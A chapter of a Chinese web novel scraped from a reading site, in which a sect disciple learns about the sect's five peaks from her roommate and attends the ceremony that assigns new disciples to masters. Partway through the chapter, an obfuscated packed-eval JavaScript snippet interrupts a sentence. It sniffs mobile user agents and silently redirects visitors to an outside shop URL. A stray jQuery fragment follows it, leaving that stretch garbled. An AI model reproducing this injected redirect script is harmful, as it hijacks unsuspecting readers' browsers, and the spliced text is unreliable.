文趣网 > 其他小说 > 五年江湖三年模拟 > 23. 第十节心理课
    沈卿回到宿舍的时候,月亮已经爬到了天顶,把整个碧霄山罩在一层银白色的薄纱里。她推门的动作轻得像做贼,生怕吵醒已经睡下的室友,但木门还是发出了“吱呀”一声惨叫,在寂静的夜里响得理直气壮,像是故意跟她作对。

    若水的床位在靠窗的位置,月光正好照在她脸上,把那张圆圆的小脸映得像一块刚出炉的白面馒头。沈卿蹑手蹑脚地从她床边经过,正准备去洗漱,若水突然翻了个身,眼睛半睁半闭地看着她,声音里带着浓重的睡意:“沈卿……你回来了……几更了……”

    “不晚不晚,你继续睡。”沈卿压低声音,一边把怀里的《心理将康教育》掏出来塞到枕头底下,一边用脚尖勾出床底下的木盆准备去打水。

    若水却没有立刻闭眼,而是撑着胳膊坐了起来,揉了揉眼睛,像是突然想起了什么重要的事:“对了对了,我有事要跟你说……我爹爹和阿姐今日来了。”

    沈卿端着木盆的手顿了一下,她想起若水之前提过,她家在碧霄山脚下的镇上开了间小铺子,爹爹是做酱鸭的,阿姐似乎已经嫁人了。若水上山这些日子,一直惦记着她爹得做的酱鸭,之前吃不上饭的日子,两个人还一起画酱鸭充饥了好一段时间。

    “他们以为我肯定考不过,带了酱鸭和一些吃的来接我下山。”若水说起这个的时候,语气里带着一丝又好气又好笑的无奈,但更多的是一种被家人放在心上的温暖,“结果到了山门口,听说我被录取了,我爹爹当时就红了眼眶,嘴上还硬撑说‘我就知道我闺女行’,嘿嘿,他之前明明跟阿姐说‘若水那丫头从小体弱,能活着下山就不错了’。”

    沈卿被若水模仿她父亲说话的语气逗得笑出了声,笑声在安静的宿舍里显得有些突兀,她赶紧捂住嘴,但肩膀还在抖。

    “酱鸭呢?”她问,作为一个今晚刚在苏少游那里吃了一顿酱鸭的人,她对“酱鸭”这个词的敏感度依然高得惊人。

    “还在呢。”若水从床铺内侧小心翼翼地端出一个用油纸包着的包裹,一层一层地打开,动作郑重得像在拆一件传家宝。

    油纸展开的瞬间,一股浓郁的酱香扑面而来,混着八角、桂皮和一丝若有若无的酒香,沈卿的鼻腔被这股味道猛地撞了一下,她的瞳孔骤然收缩。

    沈卿以她大馋丫头的身份发誓,这味道和她在苏少游的住处闻到的分毫不差。

    “这酱鸭……”沈卿的声音有些犹疑,她凑过去仔细看了看那只鸭腿的色泽和纹理,确认自己没有认错,“是在镇上哪家铺子买的?”

    “就是我家自己做的啊。”若水被她突然认真的表情弄得有些摸不着头脑,眨了眨眼,“我爹爹说用的是祖传的酱料方子,别家做不出这个味道。怎么了?”

    “没什么,就是觉得这酱鸭看起来特别好吃。”沈卿若无其事地笑了笑,没有把自己的发现告诉若水。

    若水没有多想,把那只最大的鸭腿塞到沈卿手里:“给你留的,我爹爹说让你多吃点,多照顾我。我跟他说了你天天教我练功,还给我看祖传的秘籍,我爹爹说你是贵人,让我好好跟你处。”

    沈卿握着那只鸭腿,看着若水那张写满了信任和依赖的脸,心里突然涌起一股复杂的情绪。她和若水认识不过一个月,一开始接近若水不过是因为这个小姑娘看起来好说话、能帮她打听消息,说难听点,就是“有用”。但相处下来,若水那种毫无保留的善意和信任像一把软刀子,不知不觉就把她心里那些算计和防备一层一层地刮掉了。现在若水说“你是贵人”,她只觉得心虚,觉得自己不配。

    “对了,我爹爹还打听了下分到哪位长老手下比较好。”若水一边把油纸重新包好,一边絮絮叨叨地转述她父亲打听到的消息,声音压得极低,像是在交换什么机密情报。

    “碧霄山现在分成五个峰,分别由四位长老和门主掌管。我们现在所在的主峰叫旺峰,是门主直接管的。锻造阁的刘长老管途峰,就是今天考核那个刘长老;善法堂的周堂主管法峰;护卫院的邱长老管岁峰;丹药堂的鹤长老管午峰。”

    沈卿啃着鸭腿的动作慢了下来,这些信息像拼图碎片一样在她脑子里自动排列组合。

    五个峰,五位掌事者:门主、刘长老、周堂主、邱长老、鹤长老。

    周堂主是“招安派”,门主是“抗蛮派”,刘长老今天在考核场上的那番话暗示他大概率也是偏向抗蛮的。

    至于邱长老和鹤长老,她完全没有接触过,信息为零。

    “像我这样没什么武学基础的刚入门弟子,”若水继续说,语气里带着一丝茫然,“要么分配去岁峰学武学基础,要么送到丹药堂学医理顺便种菜。我爹爹说他认识一个远房亲戚的邻居,当年就是被分到午峰种菜的,种了三年菜,连草药都还没认全,后来实在待不下去就下山了。”

    沈卿在心里把几个选项快速评估了一遍:去岁峰学武学基础,好处是能实实在在地提升武力值,坏处是她这个武学“奇才”连丹田都找不到,去岁峰大概率是被师兄师姐们按在地上摩擦。

    去午峰学医理种菜,好处是安全,坏处是如果真的像若水说的那样“种三年菜连草药都没认全”,那她这辈子就真的只能当个种菜的了,这跟她之前看武侠小说向往的什么毒仙张难姑,五毒教蓝凤凰差距有点远诶。

    “有没有可能两个都学?”沈卿有些心虚地问出了口。

    若水摇了摇头,表情像是在说“你别做梦了”:“我爹爹说他打听到,刚入门弟子只能选一个峰,等三年后通过进阶考核,才能去其他峰学习。就像……就像读书一样,先读完启蒙,才能读四书五经。”

    沈卿把最后一口鸭腿肉咽下去,骨头在嘴里含了一会儿才吐出来,脑子里还在转。这不就是高二分文理科吗?选文选理,定了方向之后三年不能改,高考就考你选的那几门。只不过武侠世界的“高考”更残酷,选错了,不是考不上大学的问题,是可能会死的问题。

    这可以说是自己的“终身大事”,可有不得半点马虎。

    “沈卿,你想去哪个峰?”若水一边问,一边想着,沈卿这么厉害,这么聪明,她到时候去哪个峰,我就跟着去总没错。

    沈卿咬唇沉默了几秒,然后伸手摸了摸枕头底下那本《心理健康教育》的封面,像是在摸护身符。“不知道,明天看看情况再说。”

    不知道她神出鬼没的“系统”会不会再送她本什么书做指引,如果先让她选丹药堂的话,估计会送本《生物》书来,自己还是生物课代表来的,感觉专业是挺对口的,但是武侠世界不学武功能行么?

    躺在床上之后,沈卿翻来覆去地睡不着,脑子里那些信息像一群蜜蜂一样嗡嗡叫,吵得她没法安静。苏少游说的那些话、若水说的那些话、刘长老说的那些话、任书桐说的那些话——全部搅在一起,变成了一锅煮糊了的粥。

    她干脆侧过身,从枕头底下摸出那本《心理健康》,借着月光翻到第二章“自我认识”。

    “生理自我、心理自我、社会自我。”她在心里默念这三个维度,试着用这套框架来分析自己目前的处境。

    生理自我:身体素质还行,但没有内力,视力还有点差;

    心理自我:优点是算是微表情专家,缺点是怂,不对,是谨慎,再不对,好吧就是怂;

    社会自我:碧霄山刚入门弟子,被周堂主打入了“抗蛮派”,现在还是苏少游的“眼睛”。

    沈卿盯着“社会自我”这行字呆愣了一下,突然长叹了一口气,仿佛一瞬间大彻大悟一般。

    现在自己是谁已经完全不取决于她自己怎么想的了,周堂主认为她是谢明渊的人,所以她就真的只能是谢明渊的人,不管她承不承认。苏少游认为她“可用”,所以她就必须配合他,不管她愿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17516634|203211||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不愿意。

    她现在就是提线木偶、游戏角色、棋子!她也搞不明自己到底是在为了什么来到这武侠世界的,难道只是为了让她来推动故事线的么?

    沈卿苦笑了一下,把书合上,塞回枕头底下,长长地呼出一口气,像是在把一天的疲惫和焦虑都吐出去。窗外的月光洒在她的被子上,银白色的,安静得像一层霜。

    她想再跟若水说几句话,问问她爹爹还打听到了什么,但若水已经睡着了,呼吸均匀而绵长,嘴角还挂着一丝微笑,大概在梦里已经吃上了山珍海味,这种没心没肺的睡眠质量让沈卿既羡慕又嫉妒。

    第二天清晨,沈卿是被晨练的集合鼓吵醒的,声音从远处传来,声音闷闷的,像有人在用拳头捶一面蒙了棉被的鼓。她迷迷糊糊地从床上爬起来,发现若水已经穿戴整齐站在床边了,脸上带着一种既紧张又兴奋的表情,像一只等着被放出笼子的小兔子。

    “快起来快起来,”若水一边帮她递衣服一边催促,“今日是分配师门的日子,所有刚入门的弟子都要去晨练场集合,去的晚了会被长老们记过的。”

    沈卿一听“记过”两个字,瞌睡虫立刻跑得无影无踪。她用最快的速度洗漱完毕,当然再快也不忘把《心理健康教育》塞进怀里,拍了拍胸口确认它不会掉出来,然后拉着若水就往晨练场跑。

    晨练场上已经站满了人,黑压压的一片,比昨日考核的时候还多。沈卿拉着若水挤到了人群的前排,踮起脚尖往前看,高台上站着七八个人,有她认识的,也有她不认识的。

    刘长老站在最左边,还是那副铁匠铺大老粗的样子,大黑牙在晨光下反着光,让人忍不住联想到某种牙口很好的大型犬科动物。

    他旁边站着一个头发花白但腰板挺得笔直的老者,穿着墨绿色的长袍,腰间挂着一块玉佩,整个人透着一股“我很严格但我不会告诉你为什么”的气质,沈卿猜测这位就是护卫院的邱长老,因为那张脸看起来就像是专门用来训人的,五官与周堂主有些隐隐地相似。

    邱长老的另一侧是一个穿着灰色道袍、面容清瘦的中年人,手里捏着一串佛珠一样的东西,但仔细看不是佛珠,是一串小药葫芦,每一个都只有指甲盖大小,做得精致极了。这位不用猜,肯定是丹药堂的鹤长老。

    周堂主站在靠近中间的位置,穿着执法堂的黑色长袍,脸上的表情像是刚吃了一颗没熟的柿子,绝对谈不上和善。沈卿的目光在他身上多停留了一秒,心跳不争气地加速了,她心里清楚,这个人就是她目前在碧霄山上最大的威胁。

    周堂主不知道她偷听了善法堂的密谈,不知道她跟苏少游有合作,甚至可能不知道她已经看穿了他的阴谋,但这种“你不知道我知道”的优势,能维持多久,她心里没底。

    门主没有出现,至少沈卿没有在高台上看到任何一个看起来像“山门之主”的人。让她惊讶甚至有些困惑的是站在高台边缘、几乎要跟背景融为一体的人:黄色衣衫,抱剑,腰间别着几枚看着像飞镖,有感觉是装饰品的菱锥形武器。慵懒的眉眼,嘴角挂着一丝似笑非笑的弧度,整个人像一幅画里走出来的人物,偏偏站的位置又偏又角落里,像是在刻意强调“我不是主角你们不要看我”。

    苏少游。

    沈卿的眉毛拧成了一个复杂的结。他是以什么身份站在那里的?

    秀海山山主之子?理论上来说,这是一个跟碧霄山毫无关系的“外宾”,不应该出现在长老们的队列里。但他就站在那里,神态自然,表情淡定,像是那个位置本来就该是他的。

    周围的弟子们显然也不知道他是谁,窃窃私语声像潮水一样从人群中涌起:

    “那个人是谁啊?哪个峰的师兄?怎么以前没见过?”

    “长得挺好看的,入门师兄我都认识,咋不记得有他?”

    “该不会是哪个长老的私生子吧?”